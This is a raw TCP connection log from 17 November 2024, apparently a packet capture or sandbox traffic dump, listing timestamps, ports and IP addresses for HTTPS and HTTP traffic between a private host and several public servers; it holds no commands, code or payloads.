Nov 17, 2024 22:20:34.420669079 CET	49804	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.420676947 CET	443	49804	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.420876026 CET	49805	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.420902967 CET	443	49805	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.420962095 CET	49805	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.421127081 CET	49805	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.421138048 CET	443	49805	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.427356958 CET	443	49799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.427433014 CET	443	49799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.427479982 CET	49799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.427596092 CET	49799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.427604914 CET	443	49799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.427615881 CET	49799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.427623034 CET	443	49799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.429968119 CET	49806	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.429977894 CET	443	49806	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.430042982 CET	49806	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.430187941 CET	49806	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.430197001 CET	443	49806	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.458873987 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.458921909 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.458962917 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.458972931 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.459080935 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.500583887 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.500653982 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.500690937 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.500718117 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.511197090 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.511250973 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.511261940 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.512849092 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.512901068 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.512911081 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.514669895 CET	443	49795	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.514827967 CET	443	49795	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.514883041 CET	49795	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.515813112 CET	49795	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.515836954 CET	443	49795	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.515855074 CET	49795	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.515866041 CET	443	49795	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.518078089 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.518150091 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.518162966 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.519609928 CET	49807	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.519635916 CET	443	49807	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.519697905 CET	49807	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.519922018 CET	49807	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.519932032 CET	443	49807	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.530103922 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.530183077 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.530194998 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.530205965 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.530265093 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.532037020 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.532053947 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.635366917 CET	443	49802	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:34.635457039 CET	49802	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:34.639892101 CET	49802	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:34.639899969 CET	443	49802	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:34.640260935 CET	443	49802	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:34.685180902 CET	49802	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:34.686218023 CET	49802	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:34.727334023 CET	443	49802	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:34.929645061 CET	443	49802	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:34.929733992 CET	443	49802	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:34.929790020 CET	49802	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:34.929927111 CET	49802	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:34.929946899 CET	443	49802	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:34.929960012 CET	49802	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:34.929965973 CET	443	49802	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:34.969420910 CET	80	49800	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:34.969683886 CET	49800	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:34.972263098 CET	49808	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:34.972297907 CET	443	49808	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:34.972385883 CET	49808	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:34.973084927 CET	49808	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:34.973098993 CET	443	49808	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:35.068787098 CET	49782	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:35.088361979 CET	49800	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:35.093261003 CET	80	49800	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:35.154397964 CET	443	49804	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.156121969 CET	49804	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.156140089 CET	443	49804	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.157665014 CET	49804	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.157669067 CET	443	49804	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.158668041 CET	443	49805	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.159008980 CET	443	49803	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.159370899 CET	49805	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.159394979 CET	443	49805	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.159910917 CET	49805	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.159917116 CET	443	49805	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.160285950 CET	49803	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.160305977 CET	443	49803	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.160659075 CET	49803	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.160665989 CET	443	49803	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.173831940 CET	443	49806	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.174453974 CET	49806	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.174468040 CET	443	49806	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.175148964 CET	49806	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.175153971 CET	443	49806	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.277997971 CET	443	49807	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.278513908 CET	49807	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.278551102 CET	443	49807	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.281616926 CET	49807	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.281621933 CET	443	49807	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.283700943 CET	443	49804	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.283865929 CET	443	49804	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.284013987 CET	49804	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.284236908 CET	49804	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.284257889 CET	443	49804	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.284269094 CET	49804	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.284274101 CET	443	49804	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.286814928 CET	49809	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.286818027 CET	443	49805	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.286844969 CET	443	49809	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.287007093 CET	49809	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.287157059 CET	443	49805	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.287237883 CET	49809	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.287252903 CET	443	49809	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.287277937 CET	49805	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.287499905 CET	49805	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.287517071 CET	443	49805	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.287527084 CET	49805	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.287532091 CET	443	49805	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.289493084 CET	49810	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.289522886 CET	443	49810	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.290052891 CET	49810	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.290281057 CET	49810	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.290292978 CET	443	49810	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.294994116 CET	443	49803	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.295134068 CET	443	49803	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.295269966 CET	49803	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.295757055 CET	49803	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.295773983 CET	443	49803	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.295825005 CET	49803	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.295829058 CET	443	49803	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.298218012 CET	49811	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.298237085 CET	443	49811	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.298485041 CET	49811	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.298485041 CET	49811	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.298515081 CET	443	49811	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.306242943 CET	443	49806	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.306399107 CET	443	49806	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.306529999 CET	49806	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.306646109 CET	49806	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.306654930 CET	443	49806	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.306731939 CET	49806	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.306735992 CET	443	49806	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.308695078 CET	49812	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.308716059 CET	443	49812	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.309024096 CET	49812	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.309155941 CET	49812	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.309169054 CET	443	49812	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.407608986 CET	443	49807	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.407938004 CET	443	49807	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.408071995 CET	49807	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.408252954 CET	49807	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.408269882 CET	443	49807	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.408281088 CET	49807	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.408286095 CET	443	49807	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.414732933 CET	49813	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.414772034 CET	443	49813	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.415108919 CET	49813	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.415330887 CET	49813	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:35.415342093 CET	443	49813	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:35.820554972 CET	443	49808	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:35.820642948 CET	49808	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:35.822299957 CET	49808	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:35.822309971 CET	443	49808	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:35.822634935 CET	443	49808	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:35.827557087 CET	49808	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:35.866847992 CET	80	49800	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:35.869066000 CET	49800	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:35.875329018 CET	443	49808	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:36.027240038 CET	443	49809	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.033529997 CET	443	49811	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.042922020 CET	443	49810	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.051157951 CET	443	49812	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.070663929 CET	443	49808	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:36.070745945 CET	443	49808	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:36.070828915 CET	49808	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:36.076375008 CET	49809	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.091595888 CET	49811	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.093127966 CET	49810	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.103933096 CET	49809	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.103948116 CET	443	49809	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.107099056 CET	49812	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.152626038 CET	49809	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.152636051 CET	443	49809	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.153322935 CET	443	49813	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.154809952 CET	49811	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.154819012 CET	443	49811	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.155560017 CET	49811	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.155565977 CET	443	49811	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.155740023 CET	49813	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.155766964 CET	443	49813	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.156234980 CET	49813	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.156239986 CET	443	49813	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.157274008 CET	49810	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.157280922 CET	443	49810	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.157625914 CET	49810	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.157629967 CET	443	49810	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.158580065 CET	49812	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.158592939 CET	443	49812	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.159468889 CET	49812	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.159475088 CET	443	49812	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.189914942 CET	49808	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:36.189937115 CET	443	49808	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:36.189948082 CET	49808	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:36.189954042 CET	443	49808	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:36.280934095 CET	443	49809	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.280957937 CET	443	49809	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.281127930 CET	49809	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.281131983 CET	443	49809	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.281219006 CET	49809	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.281277895 CET	443	49813	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.281333923 CET	443	49813	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.281389952 CET	49813	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.281410933 CET	443	49813	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.281465054 CET	443	49813	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.281511068 CET	49813	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.282172918 CET	443	49811	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.282872915 CET	443	49811	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.282922029 CET	49811	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.286541939 CET	443	49812	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.286595106 CET	443	49812	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.286665916 CET	49812	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.286680937 CET	443	49812	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.286736965 CET	443	49812	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.289015055 CET	49812	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.304375887 CET	443	49810	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.304526091 CET	443	49810	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.304714918 CET	49810	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.627182961 CET	49810	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.627204895 CET	443	49810	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.627217054 CET	49810	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.627223969 CET	443	49810	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.627377987 CET	49809	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.627403975 CET	443	49809	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.627423048 CET	49809	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.627429962 CET	443	49809	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.629371881 CET	49813	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.629410028 CET	443	49813	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.629426003 CET	49813	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.629432917 CET	443	49813	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.630505085 CET	49811	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.630505085 CET	49811	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.630515099 CET	443	49811	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.630527020 CET	443	49811	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.631594896 CET	49812	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.631618023 CET	443	49812	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.631629944 CET	49812	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.631637096 CET	443	49812	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.670665026 CET	49814	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.670691013 CET	443	49814	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.670743942 CET	49814	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.706645966 CET	49814	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.706677914 CET	443	49814	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.715841055 CET	49815	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.715893030 CET	443	49815	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.715954065 CET	49815	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.716972113 CET	49815	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.716984034 CET	443	49815	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.722012997 CET	49816	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.722038984 CET	443	49816	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.722101927 CET	49816	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.722186089 CET	49816	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.722193956 CET	443	49816	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.723227978 CET	49817	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.723265886 CET	443	49817	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.723316908 CET	49817	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.724874973 CET	49818	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.724883080 CET	443	49818	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.724940062 CET	49818	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.726027012 CET	49817	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.726047039 CET	443	49817	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:36.726155996 CET	49818	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:36.726166964 CET	443	49818	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.445094109 CET	443	49815	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.453296900 CET	443	49814	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.457659006 CET	443	49816	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.459630966 CET	443	49818	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.460954905 CET	443	49817	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.461060047 CET	49815	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.461086988 CET	443	49815	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.466211081 CET	49815	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.466233969 CET	443	49815	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.469250917 CET	49817	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.469280005 CET	443	49817	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.470381975 CET	49817	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.470396996 CET	443	49817	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.472930908 CET	49814	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.472953081 CET	443	49814	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.473534107 CET	49814	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.473539114 CET	443	49814	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.478351116 CET	49816	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.478378057 CET	443	49816	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.478756905 CET	49816	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.478768110 CET	443	49816	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.494697094 CET	49818	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.494729996 CET	443	49818	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.496834993 CET	49818	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.496856928 CET	443	49818	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.597208023 CET	443	49815	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.597286940 CET	443	49815	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.597434998 CET	49815	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.600064993 CET	443	49817	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.600147963 CET	443	49817	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.600193977 CET	49817	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.603044033 CET	443	49814	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.603068113 CET	443	49814	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.603115082 CET	49814	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.603121996 CET	443	49814	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.603163958 CET	49814	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.604372978 CET	443	49816	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.604577065 CET	443	49816	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.604635000 CET	49816	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.621167898 CET	443	49818	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.621381044 CET	443	49818	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.621452093 CET	49818	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.640495062 CET	49815	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.640536070 CET	443	49815	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.640552044 CET	49815	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.640558958 CET	443	49815	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.643137932 CET	49818	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.643182039 CET	443	49818	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.643201113 CET	49818	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.643210888 CET	443	49818	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.643526077 CET	49817	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.643560886 CET	443	49817	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.643582106 CET	49817	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.643589973 CET	443	49817	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.644057035 CET	49814	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.644078970 CET	443	49814	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.644089937 CET	49814	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.644097090 CET	443	49814	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.645293951 CET	49816	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.645302057 CET	443	49816	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.645343065 CET	49816	443	192.168.2.7	13.107.246.45
